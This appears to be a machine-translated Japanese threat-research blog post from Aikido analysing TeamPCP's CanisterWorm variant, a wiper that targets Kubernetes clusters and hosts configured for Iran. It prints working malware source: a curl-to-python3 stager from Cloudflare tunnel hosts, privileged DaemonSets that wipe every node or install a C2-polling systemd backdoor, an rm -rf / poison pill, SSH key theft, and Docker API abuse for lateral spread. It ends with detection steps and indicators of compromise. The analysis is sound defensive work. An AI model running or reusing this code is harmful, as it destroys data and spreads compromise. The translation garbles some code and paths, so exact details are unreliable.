Aikido

CanisterWormが牙をむく:TeamPCPのKubernetes向けワイパーがイランを標的に

執筆者
Charlie Eriksen

TeamPCPの攻撃ツール群から新たなペイロードが発見されましたが、これは単に認証情報を盗んだりバックドアを仕込んだりするだけではありません。Kubernetesクラスタ全体を消去してしまうのです。

このスクリプトでは、まったく同じICPキャニスターを使用しています(tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) 私たちは、 CanisterWorm キャンペーン. 同じC2、同じバックドアコード、同じ /tmp/pglog ドロップパス。DaemonSets を利用した Kubernetes ネイティブの横方向の移動は、TeamPCP の既知の手口と一致していますが、この亜種には、これまで彼らからは見られなかった新たな要素が加わっています。それは、イランのシステムを具体的に標的とした、地政学的な意図を持った破壊的なペイロードです。

概要

このブログ記事には技術的な詳細が多く含まれているため、私たちが得た最も重要な知見を以下に要約します:

  • 🐙 CanisterWorm と同じ ICP キャニスター C2 (tdtqy-oyaaa-aaaae-af2dq-cai)
  • 🎯 ペイロードはタイムゾーンとロケールを確認し、イランのシステムを特定します
  • ☸️ Kubernetes上:コントロールプレーンを含むすべてのノードに、特権を持つDaemonSetを展開します
    • 💀 イランのノードが、`[コンテナ名]` という名前のコンテナを通じてデータ消去され、強制再起動される 神風
    • 🔒 イラン以外のノードには、CanisterWormバックドアがsystemdサービスとしてインストールされる
  • 💣 K8s非対応のイランのホストは rm -rf / --no-preserve-root
  • 🐘 PostgreSQLツールに偽装したPersistence: pglog, pg_state, 内部モニター
  • 🔄 ペイロード配信インフラとして、複数のCloudflareトンネルドメインがローテーションしていることが確認された
  • 🪱 最新の亜種は、ネットワークを利用した横方向の移動機能を備えています
    • 🔑 盗まれた鍵や認証ログの解析によるSSHの拡散
    • 🐳 このエクスプロイトは、ローカルサブネット内のポート2375で公開されているDocker APIを悪用します

ステージング担当者

最初は、それが単に https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh 、そこには単一のペイロードが含まれていました。その後、以下の通り、そのペイロードは2つのファイルに分割されました。

#!/usr/bin/env bash
set -euo pipefail

if ! command -v kubectl &>/dev/null; then
    ARCH="amd64"
    [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
    curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
    chmod +x /tmp/kubectl
    export PATH="/tmp:$PATH"
fi

PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -

rm -- "$0"

ご覧の通り、ダウンロードが始まります kubectl まだインストールされていない場合は、ダウンロードします。 kube.py 同じホストから取得し、それを実行してから自身を削除します。本当に興味深いコードはそこに含まれています。以下にスクリプトの最後の数行を示します。これらはコードの意図を明確に示しており、さらに詳しく解説していきます:

if __name__ == "__main__":    if is_k8s():        if is_iran():
           deploy_destructive_ds()        else:
           deploy_std_ds()    else:        if is_iran():
           poison_pill()
        sys.exit(1)

ターゲットの選び方

ペイロードが最初に行うのは、自分がどこで実行されているかを特定することです。2つのチェックを行います:

def is_k8s():
    return os.path.exists("シークレット.io/serviceaccount") or \
           "KUBERNETES_SERVICE_HOST"  os.environ

標準的なKubernetesポッドの検出。すべてのポッドには、デフォルトでサービスアカウントがマウントされます。

そして、これ:

def is_iran():
   tz = ""
       if os.path.exists("/etc/timezone"):
             with open("/etc/timezone", "r") as f:
       tz = f.read().strip()
         else:
        try:
           tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"], 
                                        stderr=subprocess.DEVNULL).decode().strip()
        except:
           pass 
    
    lang = os.environ.get("LANG", "")    return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in lang

システムのタイムゾーンとロケールを確認します。マシンがイラン向けに設定されている場合(アジア/テヘラン, イラン、または fa_IR)、ペイロードはまったく異なる経路をたどります。

4つの道、1つの脚本

この決定木は単純明快だ:

  • Kubernetes + イラン:クラスタ内のすべてのノードを消去するDaemonSetをデプロイする
  • Kubernetes およびその他の環境:すべてのノードに CanisterWorm バックドアをインストールする DaemonSet をデプロイする
  • Kubernetesなし + イラン: rm -rf / --no-preserve-root
  • Kubernetes以外の場合:終了。何も起こりません。

ワイパー:「カミカゼ」

イランを標的としたDaemonSetは、 ホスト・プロビジョナー・イラン. その中のコンテナは 神風. 控えめとは言い難い。

def deploy_destructive_ds():
    ds_name = "host-provisioner-iran"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: kamikaze
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
            chroot /mnt/host reboot -f
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

このDaemonSetは、ホストのルートファイルシステムを /mnt/host、最上位のすべてのデータを削除し、その後強制再起動を行います。これはDaemonSetであり、 許容条件:[演算子:Exists]すると、コントロールプレーンを含むクラスタ内のすべてのノードでそのタスクがスケジュールされます。一つ kubectl apply そしてクラスタ全体が動作不能に陥る。

永続化パス

イラン以外のターゲットについては、DaemonSet(host-provisioner-std) は劇的な変化をもたらすものではありませんが、運用面ではより有用です。これは、すべてのノードにCanisterWormバックドアを書き込み、それをsystemdサービスとして登録します:

def deploy_std_ds():
    ds_name = "host-provisioner-std"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: provisioner
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
            echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
            cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
            [Unit]
            Description=System Monitor
            After=network.target

            [Service]
            ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
            Restart=always
            RestartSec=5

            [Install]
            WantedBy=multi-user.target
            EOF_UNIT
            chroot /mnt/host systemctl daemon-reload
            chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
            sleep infinity
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

このバックドアは、CanisterWormに関する記事で取り上げたものと同じものです。50分ごとにICPキャニスターをポーリングしてバイナリURLを確認し、指示されたものをダウンロードして実行します。 youtube[.]com キルスイッチは依然として存在している。

「ポイズン・ピル」

Kubernetesを使用しないイランのシステムの場合、その手法はより大雑把なものとなります:

def poison_pill():
    cmd = "rm -rf / --no-preserve-root"
    if os.getuid() == 0:
        os.system(cmd)
    else:
        os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")

root権限があれば、システムを初期化します。そうでない場合は、パスワード不要のsudoを試み、それでもダメなら無理やり実行します。root権限がなくても、ユーザーが所有するすべてのデータを破壊します。

これが重要な理由

TeamPCPは2025年後半以降、クラウドネイティブな脅威アクターとして確認されており、設定ミスのあるDocker API、Kubernetesクラスター、CI/CD 標的としています。彼らの手口(環境のフィンガープリンティング、Kubernetes特有のブランチング)は一貫しています。 しかし、Trivyへの侵入やCanisterWormキャンペーンは、彼らがサプライチェーン規模で活動できることを示しており、今回のペイロードは、彼らが望めば破壊的な行動に出る用意があることを示している。

注目すべき点

DaemonSets があるか確認してください kube-system あなたが作成したものではないもの:

kubectl get ds -n kube-system

探す ホスト・プロビジョナー・イラン または host-provisioner-stdまた、マウントを行うDaemonSetもすべて監査してください hostPath: / 特権的なセキュリティコンテキストで。この組み合わせは、kubelet自体のようなインフラストラクチャレベルのエージェント以外では決して現れてはならない。

ホスト側では、以下を確認してください:

  • 「」という名前のsystemdサービス 内部モニター (systemctl status internal-monitor)
  • ファイルは /var/lib/svc_internal/runner.py
  • 「」という名前のプロセス pglog において /tmp/
  • へのアウトバウンド接続 icp0[.]io ドメイン

最新情報:現在、感染が拡大しています

ペイロードの3回目のバージョンが、以下のURLで公開されました。 https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py 同じICPキャニスターのバックドア、同じイラン製ワイパーですが、こちらはKubernetesを必要としません。自力で拡散します。

以前のバージョンでは、クラスタ内を移動するためにDaemonSetsに依存していました。この亜種では、それを完全に排除し、代わりに2つの横方向の移動手法、すなわちSSHキーの窃取と公開されたDockerAPI を採用しています。また、ローカルの/24サブネットをスキャンして新たな標的を探します。

攻撃対象となるマシンを次のように見つけ出します:

def get_accepted_targets():
    targets = {}
    for path in ["/var/log/auth.log", "/var/log/secure"]:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    for line in f:
                        if "Accepted" in line:
                            match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
                            if match:
                                user, ip = match.groups()
                                if ip not in targets: targets[ip] = []
                                if user not in targets[ip]: targets[ip].append(user)
            except: pass
    return targets

解析します /var/log/auth.log そして /var/log/secure SSHログインに成功したケースについて、ユーザー名と送信元IPアドレスの両方を抽出します。これらが拡散の標的となるペアとなります。認証ログに含まれていないサブネット内のIPアドレスが見つかった場合は、代わりに root, ubuntu, admin、および ec2-user.

そして、見つかる限りのSSH秘密鍵をすべて取得します:

keys = []
ssh_base = os.path.expanduser("~/.ssh")    for t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
       p = os.path.join(ssh_base, t)            if os.path.exists(p):
            keys.append(p)

各ターゲットについて、2つのポートをチェックします。ポート22ではSSHのスキャンが行われます:

cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
       "-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
       f"echo {b64_logic} | base64 -d | bash"]

ポート2375がDockerAPI の脆弱エクスプロイトされ、ホストのルートディレクトリがマウントされた特権コンテナが作成される:

payload = {
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
    "HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})

どちらの道も結果は同じです get_remote_logic() ペイロードは、リモートホスト上でイランのタイムゾーンチェックを実行します。イランのターゲットは削除され、それ以外のすべてのホストには pgmon.py システムサービスとしてインストールされたバックドア。

ワイパー本体が変更されました。以前のバージョンでは rm -rf / --no-preserve-root K8s以外のホスト上では、一方、使用されているDaemonSetのバリエーションは find / -maxdepth 1 ... -exec rm -rf {} + 強制再起動により。このバージョンでは、 見つける ~を用いて reboot -f 全般的に:

find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -f

これはTeamPCPの以前の投稿からそのまま引用したものです proxy.sh そして pcpcat.py ツール群では、公開されているDocker APIをスキャンし、SSHキーをサブネット全体にばら撒いていました。違いは、それらのツールが単体のインフラ構築スクリプトであったのに対し、このツールはCanisterWormバックドアとIranワイパーを組み込んでいる点です。

以前のバージョンからのその他の変更点として、サービス名が 内部モニター to pgmonitor、インストールパスが /var/lib/svc_internal/ to /var/lib/pgmon/、そしてsystemdの説明は「Postgres Monitor Service」に変更されました。PostgreSQLの偽装がますます一貫性を持ってきています。

侵害の痕跡

ネットワーク

  • tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io (ICPキャニスター C2 デッドドロップ)
  • https://souls-entire-defined-routes.trycloudflare[.]com/ (ペイロードの配送、第一)
  • https://investigation-launches-hearings-copying.trycloudflare[.]com/ (ペイロードの配信、秒)
  • https://championships-peoples-point-cassette.trycloudflare[.]com (ペイロードの配送、第3回)

Kubernetes

  • デーモンセット ホスト・プロビジョナー・イラン において kube-system
  • デーモンセット host-provisioner-std において kube-system
  • コンテナ名: 神風, プロビジョナー

Host

  • /var/lib/svc_internal/runner.py
  • /etc/systemd/system/internal-monitor.service
  • /tmp/pglog
  • /tmp/.pg_state
  • /var/lib/pgmon/pgmon.py
  • /etc/systemd/system/pgmonitor.service
  • Systemd サービス: pgmonitor (説明:「Postgres Monitor Service」)
  • Systemd サービス: 内部モニター

横方向の動きを示す指標

  • SSHによるアウトバウンド接続 StrictHostKeyChecking=no 侵害されたホストから
  • ローカルサブネット内のポート 2375(DockerAPI)へのアウトバウンド接続
  • 認証なしのDockerAPI 作成された特権付きAlpineコンテナ hostPath: / バインドマウント

... 続報をお待ちください。

共有:

https://www.aikido.dev/blog/teampcp-stage-payload-canisterworm-iran

脅威ニュースをサブスクライブ

本日より無料で開始いただけます。

無料で始める
CC不要
4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。